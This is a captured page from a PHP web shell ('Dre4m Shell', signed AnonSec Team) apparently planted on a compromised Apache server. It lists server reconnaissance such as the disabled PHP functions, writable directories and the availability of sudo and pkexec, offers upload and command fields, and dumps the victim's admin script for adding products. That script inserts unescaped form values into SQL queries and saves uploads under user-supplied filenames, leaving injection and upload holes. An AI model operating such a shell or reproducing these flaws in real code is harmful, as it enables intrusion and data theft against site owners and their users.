Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 18.118.104.28
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/admin/product-new-action.php
<?php
ob_start();
session_start();
require_once('session-check.php');

require_once('include/db-config.php');
function fetchProductData($conn) {
    $sql = "SELECT  p.ProductName, p.ThirdPartyURL, p.Status, p.OriginalPrice, p.SalesPrice, GROUP_CONCAT(c.CategoryName SEPARATOR ', ') AS Categories
            FROM productnew p
            LEFT JOIN product_categoires pc ON p.ID = pc.ProductID
            LEFT JOIN categories_new c ON pc.CategoryID = c.ID
            GROUP BY p.ID";

    $result = mysqli_query($conn, $sql);
    $products = array();

    while ($row = mysqli_fetch_assoc($result)) {
        while ($row = mysqli_fetch_assoc($result)) {
            $status = $row['Status'] == 1 ? 'Active' : 'Inactive';
            $row['Status'] = $status;
            $products[] = $row;
        }
    }

    return $products;
}

function exportXLS($data) {
    header('Content-Type: application/vnd.ms-excel');
    header('Content-Disposition: attachment; filename="Product_list.xls"');
    $output = fopen('php://output', 'w');
    $headers = array(
        
        'Product Name',
        'Third Party URL',
        'Status',
        'Original Price',
        'Sales Price',
        'Category Name'
    );

    array_unshift($headers, 'SI');

    fputcsv($output, $headers);

    $index = 1;

    foreach ($data as $row) {

        array_unshift($row, $index++);

        fputcsv($output, $row, "\t");
    }
    fclose($output);
}

$products = fetchProductData($conn);

if (isset($_GET['export']) && $_GET['export'] == 'xls') {
    exportXLS($products);
    exit;
}
$target_path = "../public/assets/images/productimages/";
$productname=mysqli_real_escape_string($conn,stripslashes($_POST['productname']));

$shortdescription=mysqli_real_escape_string($conn,stripslashes($_POST['shortdescription']));
$longdescription=mysqli_real_escape_string($conn,stripslashes($_POST['longdescription']));
$status=$_POST['status'];
$thirdpartyurl=mysqli_real_escape_string($conn,stripslashes($_POST['thirdpartyurl']));
$original=$_POST['originalprice'];
if($original!='')
{
	
	$originalprice=$original;
}

else
{
$originalprice="0.00";
}
$sale=$_POST['saleprice'];
if($sale!='')
{
	
	$saleprice=$sale;
}

else
{
$saleprice="0.00";
}

$downloadableurl=mysqli_real_escape_string($conn,stripslashes($_POST['downloadableurl']));
$trialurl=mysqli_real_escape_string($conn,stripslashes($_POST['trailurl']));
if(isset($_POST['istrialavailable']) == 1)
{
	$istrialavailable = $_POST['istrialavailable'];
}
else
{
	$istrialavailable ="0";
}
if(isset($_POST['downloadable'])==1)
{
  $downloadable=$_POST['downloadable'];
}
else
{
  $downloadable="0";	
}

if(isset($_POST['meetingdefender'])==1)
{
  $meetingdefender= "1";
}
else
{
  $meetingdefender="0";	
}

if(isset($_POST['freesample'])==1)
{
	$freesample=$_POST['freesample'];
}
else
{
$freesample= "0";
}
$quantityperpackage=$_POST['quantityperpackage'];
$sort=$_POST['sortorder'];
if($sort!='')
{
	
	$sortorder=$sort;
}

else
{
$sortorder="0";
}

//$target_path = $target_path . basename($_FILES["imagefile"]['name']);
//if(move_uploaded_file($_FILES["imagefile"]['tmp_name'], $target_path))
//{
	$img_name = $_FILES["imagefile"]['name'];
	$img_path = $target_path.$img_name;

	require_once('SimpleImage.php');
   $image = new SimpleImage();
   $image->load($_FILES["imagefile"]['tmp_name']);
   $image->resize(200,300);
   $image->save($img_path);	
//}
// $sql="insert into productnew(ProductName,Status, ShortDescription, LongDescription, ThirdPartyURL, DownloadURL, DownloadFlag, OriginalPrice, SalesPrice,FreeSampleFlag,ProductPhoto,QtyPerPackage,SortOrder,TrialAvail,Trialurl, MeetingDefender) values ('".$productname."',".$status.",'".$shortdescription."','".$longdescription."','".$thirdpartyurl."','".$downloadableurl."', ".$downloadable.", '".$originalprice."', '".$saleprice."','".$freesample."','".$img_name."','".$quantityperpackage."','".$sortorder."',".$istrialavailable.",'".$trialurl."', ".$meetingdefender.")";

$sql="insert into productnew(ProductName,Status, ShortDescription, LongDescription, ThirdPartyURL,OriginalPrice,SalesPrice,FreeSampleFlag,ProductPhoto,SortOrder,TrialAvail,Trialurl, MeetingDefender) values ('".$productname."',".$status.",'".$shortdescription."','".$longdescription."','".$thirdpartyurl."','".$originalprice."', '".$saleprice."','".$freesample."','".$img_name."','".$sortorder."',".$istrialavailable.",'".$trialurl."', ".$meetingdefender.")";
$result=mysqli_query($conn,$sql);

$ProductID=mysqli_insert_id();
$values=$_POST['comp'];
$count = count($values);
for ($counter = 0; $counter < $count; $counter++)
{
	if(isset($values[$counter]))
	{
		$cat_id = $values[$counter];
		echo "<br> selected cat = ".$cat_id;
	$sql="insert into product_categoires(ProductID,CategoryID) values('".$ProductID."','".$cat_id."')";
	//echo $sql;
	$result=mysqli_query($conn,$sql);
	}
}

$url = "Location: product-mgt.php?r=1";
header($url);
?>

Anon7 - 2022
AnonSec Team